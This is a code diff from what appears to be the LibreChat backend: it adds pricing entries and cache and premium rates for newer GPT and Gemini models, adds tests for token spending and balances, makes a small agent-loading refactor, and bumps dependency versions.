+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'gpt-3.5-turbo',
+ context: 'test',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [{ input_tokens: 100, output_tokens: 50, model: 'gpt-3.5-turbo' }],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ expect(txns[0].rawAmount).toBeDefined();
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path structured tokens should not save when transactions.enabled is false', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'claude-3-5-sonnet',
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: false },
+ collectedUsage: [
+ {
+ input_tokens: 10,
+ output_tokens: 5,
+ model: 'claude-3-5-sonnet',
+ input_token_details: { cache_creation: 100, cache_read: 5 },
+ },
+ ],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(0);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+
+ test('bulk path structured tokens should save but not update balance when balance disabled', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 10000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await recordCollectedUsage(bulkDeps, {
+ user: userId.toString(),
+ conversationId: 'test-conversation-id',
+ model: 'claude-3-5-sonnet',
+ context: 'message',
+ balance: { enabled: false },
+ transactions: { enabled: true },
+ collectedUsage: [
+ {
+ input_tokens: 10,
+ output_tokens: 5,
+ model: 'claude-3-5-sonnet',
+ input_token_details: { cache_creation: 100, cache_read: 5 },
+ },
+ ],
+ });
+
+ const txns = await Transaction.find({ user: userId }).lean();
+ expect(txns).toHaveLength(2);
+ const promptTx = txns.find((t) => t.tokenType === 'prompt');
+ expect(promptTx.inputTokens).toBe(-10);
+ expect(promptTx.writeTokens).toBe(-100);
+ expect(promptTx.readTokens).toBe(-5);
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBe(initialBalance);
+ });
+});
diff --git a/api/models/loadAddedAgent.js b/api/models/loadAddedAgent.js
index aa83375eae..101ee96685 100644
--- a/api/models/loadAddedAgent.js
+++ b/api/models/loadAddedAgent.js
@@ -48,14 +48,14 @@ const loadAddedAgent = async ({ req, conversation, primaryAgent }) => {
return null;
}
- // If there's an agent_id, load the existing agent
if (conversation.agent_id && !isEphemeralAgentId(conversation.agent_id)) {
- if (!getAgent) {
- throw new Error('getAgent not initialized - call setGetAgent first');
+ let agent = req.resolvedAddedAgent;
+ if (!agent) {
+ if (!getAgent) {
+ throw new Error('getAgent not initialized - call setGetAgent first');
+ }
+ agent = await getAgent({ id: conversation.agent_id });
}
- const agent = await getAgent({
- id: conversation.agent_id,
- });
if (!agent) {
logger.warn(`[loadAddedAgent] Agent ${conversation.agent_id} not found`);
diff --git a/api/models/spendTokens.spec.js b/api/models/spendTokens.spec.js
index c076d29700..dfeec5ee83 100644
--- a/api/models/spendTokens.spec.js
+++ b/api/models/spendTokens.spec.js
@@ -878,6 +878,135 @@ describe('spendTokens', () => {
expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
});
+ it('should charge standard rates for gemini-3.1-pro-preview when prompt tokens are below threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-standard-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * tokenValues['gemini-3.1'].prompt +
+ completionTokens * tokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for gemini-3.1-pro-preview when prompt tokens exceed threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-premium-pricing',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+ completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for gemini-3.1-pro-preview-customtools when prompt tokens exceed threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview-customtools';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-customtools-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const expectedCost =
+ promptTokens * premiumTokenValues['gemini-3.1'].prompt +
+ completionTokens * premiumTokenValues['gemini-3.1'].completion;
+
+ const balance = await Balance.findOne({ user: userId });
+ expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ it('should charge premium rates for structured gemini-3.1 tokens when total input exceeds threshold', async () => {
+ const initialBalance = 100000000;
+ await Balance.create({
+ user: userId,
+ tokenCredits: initialBalance,
+ });
+
+ const model = 'gemini-3.1-pro-preview';
+ const txData = {
+ user: userId,
+ conversationId: 'test-gemini31-structured-premium',
+ model,
+ context: 'test',
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
+ input: 200000,
+ write: 10000,
+ read: 5000,
+ },
+ completionTokens: 1000,
+ };
+
+ const result = await spendStructuredTokens(txData, tokenUsage);
+
+ const premiumPromptRate = premiumTokenValues['gemini-3.1'].prompt;
+ const premiumCompletionRate = premiumTokenValues['gemini-3.1'].completion;
+ const writeRate = getCacheMultiplier({ model, cacheType: 'write' });
+ const readRate = getCacheMultiplier({ model, cacheType: 'read' });
+
+ const expectedPromptCost =
+ tokenUsage.promptTokens.input * premiumPromptRate +
+ tokenUsage.promptTokens.write * writeRate +
+ tokenUsage.promptTokens.read * readRate;
+ const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate;
+
+ expect(result.prompt.prompt).toBeCloseTo(-expectedPromptCost, 0);
+ expect(result.completion.completion).toBeCloseTo(-expectedCompletionCost, 0);
+ });
+
it('should not apply premium pricing to non-premium models regardless of prompt size', async () => {
const initialBalance = 100000000;
await Balance.create({
diff --git a/api/models/tx.js b/api/models/tx.js
index 9a6305ec5c..ce14fad3a0 100644
--- a/api/models/tx.js
+++ b/api/models/tx.js
@@ -4,31 +4,18 @@ const defaultRate = 6;
/**
* Token Pricing Configuration
*
- * IMPORTANT: Key Ordering for Pattern Matching
- * ============================================
- * The `findMatchingPattern` function iterates through object keys in REVERSE order
- * (last-defined keys are checked first) and uses `modelName.includes(key)` for matching.
+ * Pattern Matching
+ * ================
+ * `findMatchingPattern` (from @librechat/api) uses `modelName.includes(key)` and selects
+ * the LONGEST matching key. If a key's length equals the model name's length (exact match),
+ * it returns immediately. Definition order does NOT affect correctness.
*
- * This means:
- * 1. BASE PATTERNS must be defined FIRST (e.g., "kimi", "moonshot")
- * 2. SPECIFIC PATTERNS must be defined AFTER their base patterns (e.g., "kimi-k2", "kimi-k2.5")
- *
- * Example ordering for Kimi models:
- * kimi: { prompt: 0.6, completion: 2.5 }, // Base pattern - checked last
- * 'kimi-k2': { prompt: 0.6, completion: 2.5 }, // More specific - checked before "kimi"
- * 'kimi-k2.5': { prompt: 0.6, completion: 3.0 }, // Most specific - checked first
- *
- * Why this matters:
- * - Model name "kimi-k2.5" contains both "kimi" and "kimi-k2" as substrings
- * - If "kimi" were checked first, it would incorrectly match and return wrong pricing
- * - By defining specific patterns AFTER base patterns, they're checked first in reverse iteration
+ * Key ordering matters only for:
+ * 1. Performance: list older/less common models first so newer/common models
+ * are found earlier in the reverse scan.
+ * 2. Same-length tie-breaking: the last-defined key wins on equal-length matches.
*
* This applies to BOTH `tokenValues` and `cacheTokenValues` objects.
- *
- * When adding new model families:
- * 1. Define the base/generic pattern first
- * 2. Define increasingly specific patterns after
- * 3. Ensure no pattern is a substring of another that should match differently
*/
/**
@@ -150,9 +137,14 @@ const tokenValues = Object.assign(
'gpt-5': { prompt: 1.25, completion: 10 },
'gpt-5.1': { prompt: 1.25, completion: 10 },
'gpt-5.2': { prompt: 1.75, completion: 14 },
+ 'gpt-5.3': { prompt: 1.75, completion: 14 },
+ 'gpt-5.4': { prompt: 2.5, completion: 15 },
+ // TODO: gpt-5.4-pro pricing not yet officially published — verify before release
+ 'gpt-5.4-pro': { prompt: 5, completion: 30 },
'gpt-5-nano': { prompt: 0.05, completion: 0.4 },
'gpt-5-mini': { prompt: 0.25, completion: 2 },
'gpt-5-pro': { prompt: 15, completion: 120 },
+ 'gpt-5.2-pro': { prompt: 21, completion: 168 },
o1: { prompt: 15, completion: 60 },
'o1-mini': { prompt: 1.1, completion: 4.4 },
'o1-preview': { prompt: 15, completion: 60 },
@@ -200,6 +192,8 @@ const tokenValues = Object.assign(
'gemini-2.5-flash-image': { prompt: 0.15, completion: 30 },
'gemini-3': { prompt: 2, completion: 12 },
'gemini-3-pro-image': { prompt: 2, completion: 120 },
+ 'gemini-3.1': { prompt: 2, completion: 12 },
+ 'gemini-3.1-flash-lite': { prompt: 0.25, completion: 1.5 },
'gemini-pro-vision': { prompt: 0.5, completion: 1.5 },
grok: { prompt: 2.0, completion: 10.0 }, // Base pattern defaults to grok-2
'grok-beta': { prompt: 5.0, completion: 15.0 },
@@ -314,6 +308,29 @@ const cacheTokenValues = {
'claude-opus-4': { write: 18.75, read: 1.5 },
'claude-opus-4-5': { write: 6.25, read: 0.5 },
'claude-opus-4-6': { write: 6.25, read: 0.5 },
+ // OpenAI models — cached input discount varies by family:
+ // gpt-4o (incl. mini), o1 (incl. mini/preview): 50% off
+ // gpt-4.1 (incl. mini/nano), o3 (incl. mini), o4-mini: 75% off
+ // gpt-5.x (excl. pro variants): 90% off
+ // gpt-5-pro, gpt-5.2-pro, gpt-5.4-pro: no caching
+ 'gpt-4o': { write: 2.5, read: 1.25 },
+ 'gpt-4o-mini': { write: 0.15, read: 0.075 },
+ 'gpt-4.1': { write: 2, read: 0.5 },
+ 'gpt-4.1-mini': { write: 0.4, read: 0.1 },
+ 'gpt-4.1-nano': { write: 0.1, read: 0.025 },
+ 'gpt-5': { write: 1.25, read: 0.125 },
+ 'gpt-5.1': { write: 1.25, read: 0.125 },
+ 'gpt-5.2': { write: 1.75, read: 0.175 },
+ 'gpt-5.3': { write: 1.75, read: 0.175 },
+ 'gpt-5.4': { write: 2.5, read: 0.25 },
+ 'gpt-5-mini': { write: 0.25, read: 0.025 },
+ 'gpt-5-nano': { write: 0.05, read: 0.005 },
+ o1: { write: 15, read: 7.5 },
+ 'o1-mini': { write: 1.1, read: 0.55 },
+ 'o1-preview': { write: 15, read: 7.5 },
+ o3: { write: 2, read: 0.5 },
+ 'o3-mini': { write: 1.1, read: 0.275 },
+ 'o4-mini': { write: 1.1, read: 0.275 },
// DeepSeek models - cache hit: $0.028/1M, cache miss: $0.28/1M
deepseek: { write: 0.28, read: 0.028 },
'deepseek-chat': { write: 0.28, read: 0.028 },
@@ -330,6 +347,10 @@ const cacheTokenValues = {
'kimi-k2-0711-preview': { write: 0.6, read: 0.15 },
'kimi-k2-thinking': { write: 0.6, read: 0.15 },
'kimi-k2-thinking-turbo': { write: 1.15, read: 0.15 },
+ // Gemini 3.1 Pro - cache write: $2.00/1M, cache read: $0.20/1M
+ 'gemini-3.1': { write: 2, read: 0.2 },
+ // Gemini 3.1 Flash-Lite - cache write: $0.25/1M, cache read: $0.025/1M
+ 'gemini-3.1-flash-lite': { write: 0.25, read: 0.025 },
};
/**
@@ -340,6 +361,7 @@ const cacheTokenValues = {
const premiumTokenValues = {
'claude-opus-4-6': { threshold: 200000, prompt: 10, completion: 37.5 },
'claude-sonnet-4-6': { threshold: 200000, prompt: 6, completion: 22.5 },
+ 'gemini-3.1': { threshold: 200000, prompt: 4, completion: 18 },
};
/**
diff --git a/api/models/tx.spec.js b/api/models/tx.spec.js
index df1bec8619..666cd0a3b8 100644
--- a/api/models/tx.spec.js
+++ b/api/models/tx.spec.js
@@ -52,6 +52,24 @@ describe('getValueKey', () => {
expect(getValueKey('openai/gpt-5.2')).toBe('gpt-5.2');
});
+ it('should return "gpt-5.3" for model name containing "gpt-5.3"', () => {
+ expect(getValueKey('gpt-5.3')).toBe('gpt-5.3');
+ expect(getValueKey('gpt-5.3-chat-latest')).toBe('gpt-5.3');
+ expect(getValueKey('gpt-5.3-codex')).toBe('gpt-5.3');
+ expect(getValueKey('openai/gpt-5.3')).toBe('gpt-5.3');
+ });
+
+ it('should return "gpt-5.4" for model name containing "gpt-5.4"', () => {
+ expect(getValueKey('gpt-5.4')).toBe('gpt-5.4');
+ expect(getValueKey('gpt-5.4-thinking')).toBe('gpt-5.4');
+ expect(getValueKey('openai/gpt-5.4')).toBe('gpt-5.4');
+ });
+
+ it('should return "gpt-5.4-pro" for model name containing "gpt-5.4-pro"', () => {
+ expect(getValueKey('gpt-5.4-pro')).toBe('gpt-5.4-pro');
+ expect(getValueKey('openai/gpt-5.4-pro')).toBe('gpt-5.4-pro');
+ });
+
it('should return "gpt-3.5-turbo-1106" for model name containing "gpt-3.5-turbo-1106"', () => {
expect(getValueKey('gpt-3.5-turbo-1106-some-other-info')).toBe('gpt-3.5-turbo-1106');
expect(getValueKey('openai/gpt-3.5-turbo-1106')).toBe('gpt-3.5-turbo-1106');
@@ -138,6 +156,12 @@ describe('getValueKey', () => {
expect(getValueKey('gpt-5-pro-preview')).toBe('gpt-5-pro');
});
+ it('should return "gpt-5.2-pro" for model name containing "gpt-5.2-pro"', () => {
+ expect(getValueKey('gpt-5.2-pro')).toBe('gpt-5.2-pro');
+ expect(getValueKey('gpt-5.2-pro-2025-03-01')).toBe('gpt-5.2-pro');
+ expect(getValueKey('openai/gpt-5.2-pro')).toBe('gpt-5.2-pro');
+ });
+
it('should return "gpt-4o" for model type of "gpt-4o"', () => {
expect(getValueKey('gpt-4o-2024-08-06')).toBe('gpt-4o');
expect(getValueKey('gpt-4o-2024-08-06-0718')).toBe('gpt-4o');
@@ -336,6 +360,18 @@ describe('getMultiplier', () => {
);
});
+ it('should return the correct multiplier for gpt-5.2-pro', () => {
+ expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.2-pro'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.2-pro', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.2-pro'].completion,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.2-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.2-pro'].prompt,
+ );
+ });
+
it('should return the correct multiplier for gpt-5.1', () => {
expect(getMultiplier({ model: 'gpt-5.1', tokenType: 'prompt' })).toBe(
tokenValues['gpt-5.1'].prompt,
@@ -360,6 +396,48 @@ describe('getMultiplier', () => {
);
});
+ it('should return the correct multiplier for gpt-5.3', () => {
+ expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.3'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.3', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.3'].completion,
+ );
+ expect(getMultiplier({ model: 'gpt-5.3-codex', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.3'].prompt,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.3', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.3'].completion,
+ );
+ });
+
+ it('should return the correct multiplier for gpt-5.4', () => {
+ expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4'].completion,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4-thinking', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4'].prompt,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.4', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4'].completion,
+ );
+ });
+
+ it('should return the correct multiplier for gpt-5.4-pro', () => {
+ expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4-pro'].prompt,
+ );
+ expect(getMultiplier({ model: 'gpt-5.4-pro', tokenType: 'completion' })).toBe(
+ tokenValues['gpt-5.4-pro'].completion,
+ );
+ expect(getMultiplier({ model: 'openai/gpt-5.4-pro', tokenType: 'prompt' })).toBe(
+ tokenValues['gpt-5.4-pro'].prompt,
+ );
+ });
+
it('should return the correct multiplier for gpt-4o', () => {
const valueKey = getValueKey('gpt-4o-2024-08-06');
expect(getMultiplier({ valueKey, tokenType: 'prompt' })).toBe(tokenValues['gpt-4o'].prompt);
@@ -1326,6 +1404,73 @@ describe('getCacheMultiplier', () => {
).toBeNull();
});
+ it('should return correct cache multipliers for OpenAI models', () => {
+ const openaiCacheModels = [
+ 'gpt-4o',
+ 'gpt-4o-mini',
+ 'gpt-4.1',
+ 'gpt-4.1-mini',
+ 'gpt-4.1-nano',
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ 'o1',
+ 'o1-mini',
+ 'o1-preview',
+ 'o3',
+ 'o3-mini',
+ 'o4-mini',
+ ];
+
+ for (const model of openaiCacheModels) {
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(cacheTokenValues[model].write);
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(cacheTokenValues[model].read);
+ }
+ });
+
+ it('should return correct cache multipliers for OpenAI dated variants', () => {
+ expect(getCacheMultiplier({ model: 'gpt-4o-2024-08-06', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-4o'].read,
+ );
+ expect(getCacheMultiplier({ model: 'gpt-4.1-2026-01-01', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-4.1'].read,
+ );
+ expect(getCacheMultiplier({ model: 'gpt-5.3-codex', cacheType: 'read' })).toBe(
+ cacheTokenValues['gpt-5.3'].read,
+ );
+ expect(getCacheMultiplier({ model: 'openai/gpt-5.3', cacheType: 'write' })).toBe(
+ cacheTokenValues['gpt-5.3'].write,
+ );
+ });
+
+ it('should return null for pro models that do not support caching', () => {
+ expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5-pro', cacheType: 'write' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.2-pro', cacheType: 'write' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'read' })).toBeNull();
+ expect(getCacheMultiplier({ model: 'gpt-5.4-pro', cacheType: 'write' })).toBeNull();
+ });
+
+ it('should have consistent 10% cache read pricing for gpt-5.x models', () => {
+ const gpt5CacheModels = [
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ ];
+ for (const model of gpt5CacheModels) {
+ expect(cacheTokenValues[model].read).toBeCloseTo(cacheTokenValues[model].write * 0.1, 10);
+ }
+ });
+
it('should handle models with "bedrock/" prefix', () => {
expect(
getCacheMultiplier({
@@ -1345,6 +1490,9 @@ describe('getCacheMultiplier', () => {
describe('Google Model Tests', () => {
const googleModels = [
'gemini-3',
+ 'gemini-3.1-pro-preview',
+ 'gemini-3.1-pro-preview-customtools',
+ 'gemini-3.1-flash-lite-preview',
'gemini-2.5-pro',
'gemini-2.5-flash',
'gemini-2.5-flash-lite',
@@ -1389,6 +1537,9 @@ describe('Google Model Tests', () => {
it('should map to the correct model keys', () => {
const expected = {
'gemini-3': 'gemini-3',
+ 'gemini-3.1-pro-preview': 'gemini-3.1',
+ 'gemini-3.1-pro-preview-customtools': 'gemini-3.1',
+ 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite',
'gemini-2.5-pro': 'gemini-2.5-pro',
'gemini-2.5-flash': 'gemini-2.5-flash',
'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite',
@@ -1432,6 +1583,190 @@ describe('Google Model Tests', () => {
).toBe(tokenValues[expected].completion);
});
});
+
+ it('should return correct prompt and completion rates for Gemini 3.1', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].completion);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'prompt',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'completion',
+ endpoint: EModelEndpoint.google,
+ }),
+ ).toBe(tokenValues['gemini-3.1'].completion);
+ });
+
+ it('should return correct cache rates for Gemini 3.1', () => {
+ ['gemini-3.1-pro-preview', 'gemini-3.1-pro-preview-customtools'].forEach((model) => {
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+ cacheTokenValues['gemini-3.1'].write,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+ cacheTokenValues['gemini-3.1'].read,
+ );
+ });
+ });
+
+ it('should return correct rates for Gemini 3.1 Flash-Lite', () => {
+ const model = 'gemini-3.1-flash-lite-preview';
+ expect(getMultiplier({ model, tokenType: 'prompt', endpoint: EModelEndpoint.google })).toBe(
+ tokenValues['gemini-3.1-flash-lite'].prompt,
+ );
+ expect(getMultiplier({ model, tokenType: 'completion', endpoint: EModelEndpoint.google })).toBe(
+ tokenValues['gemini-3.1-flash-lite'].completion,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'write' })).toBe(
+ cacheTokenValues['gemini-3.1-flash-lite'].write,
+ );
+ expect(getCacheMultiplier({ model, cacheType: 'read' })).toBe(
+ cacheTokenValues['gemini-3.1-flash-lite'].read,
+ );
+ });
+});
+
+describe('Gemini 3.1 Premium Token Pricing', () => {
+ const premiumKey = 'gemini-3.1';
+ const premiumEntry = premiumTokenValues[premiumKey];
+ const { threshold } = premiumEntry;
+ const belowThreshold = threshold - 1;
+ const aboveThreshold = threshold + 1;
+ const wellAboveThreshold = threshold * 2;
+
+ it('should have premium pricing defined for gemini-3.1', () => {
+ expect(premiumEntry).toBeDefined();
+ expect(premiumEntry.threshold).toBeDefined();
+ expect(premiumEntry.prompt).toBeDefined();
+ expect(premiumEntry.completion).toBeDefined();
+ expect(premiumEntry.prompt).toBeGreaterThan(tokenValues[premiumKey].prompt);
+ expect(premiumEntry.completion).toBeGreaterThan(tokenValues[premiumKey].completion);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is below or at threshold', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'completion', belowThreshold)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'prompt', threshold)).toBeNull();
+ });
+
+ it('should return premium rate from getPremiumRate when inputTokenCount exceeds threshold', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', aboveThreshold)).toBe(premiumEntry.prompt);
+ expect(getPremiumRate(premiumKey, 'completion', aboveThreshold)).toBe(premiumEntry.completion);
+ expect(getPremiumRate(premiumKey, 'prompt', wellAboveThreshold)).toBe(premiumEntry.prompt);
+ });
+
+ it('should return null from getPremiumRate when inputTokenCount is undefined or null', () => {
+ expect(getPremiumRate(premiumKey, 'prompt', undefined)).toBeNull();
+ expect(getPremiumRate(premiumKey, 'prompt', null)).toBeNull();
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is below threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumKey].prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ inputTokenCount: belowThreshold,
+ }),
+ ).toBe(tokenValues[premiumKey].completion);
+ });
+
+ it('should return premium rate from getMultiplier when inputTokenCount exceeds threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'completion',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should return standard rate from getMultiplier when inputTokenCount is exactly at threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview',
+ tokenType: 'prompt',
+ inputTokenCount: threshold,
+ }),
+ ).toBe(tokenValues[premiumKey].prompt);
+ });
+
+ it('should apply premium pricing to customtools variant above threshold', () => {
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'prompt',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.prompt);
+ expect(
+ getMultiplier({
+ model: 'gemini-3.1-pro-preview-customtools',
+ tokenType: 'completion',
+ inputTokenCount: aboveThreshold,
+ }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should use standard rate when inputTokenCount is not provided', () => {
+ expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'prompt' })).toBe(
+ tokenValues[premiumKey].prompt,
+ );
+ expect(getMultiplier({ model: 'gemini-3.1-pro-preview', tokenType: 'completion' })).toBe(
+ tokenValues[premiumKey].completion,
+ );
+ });
+
+ it('should apply premium pricing through getMultiplier with valueKey path', () => {
+ const valueKey = getValueKey('gemini-3.1-pro-preview');
+ expect(valueKey).toBe(premiumKey);
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: aboveThreshold })).toBe(
+ premiumEntry.prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: aboveThreshold }),
+ ).toBe(premiumEntry.completion);
+ });
+
+ it('should apply standard pricing through getMultiplier with valueKey path when below threshold', () => {
+ const valueKey = getValueKey('gemini-3.1-pro-preview');
+ expect(getMultiplier({ valueKey, tokenType: 'prompt', inputTokenCount: belowThreshold })).toBe(
+ tokenValues[premiumKey].prompt,
+ );
+ expect(
+ getMultiplier({ valueKey, tokenType: 'completion', inputTokenCount: belowThreshold }),
+ ).toBe(tokenValues[premiumKey].completion);
+ });
});
describe('Grok Model Tests - Pricing', () => {
diff --git a/api/package.json b/api/package.json
index 1c40ddb337..89a5183ddd 100644
--- a/api/package.json
+++ b/api/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/backend",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"description": "",
"scripts": {
"start": "echo 'please run this from the root directory'",
@@ -44,13 +44,14 @@
"@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
"@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.50",
+ "@librechat/agents": "^3.1.56",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.26.0",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
+ "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
@@ -63,10 +64,10 @@
"eventsource": "^3.0.2",
"express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.2.1",
+ "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
- "file-type": "^18.7.0",
+ "file-type": "^21.3.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
"handlebars": "^4.7.7",
@@ -80,13 +81,14 @@
"klona": "^2.0.6",
"librechat-data-provider": "*",
"lodash": "^4.17.23",
+ "mammoth": "^1.11.0",
"mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
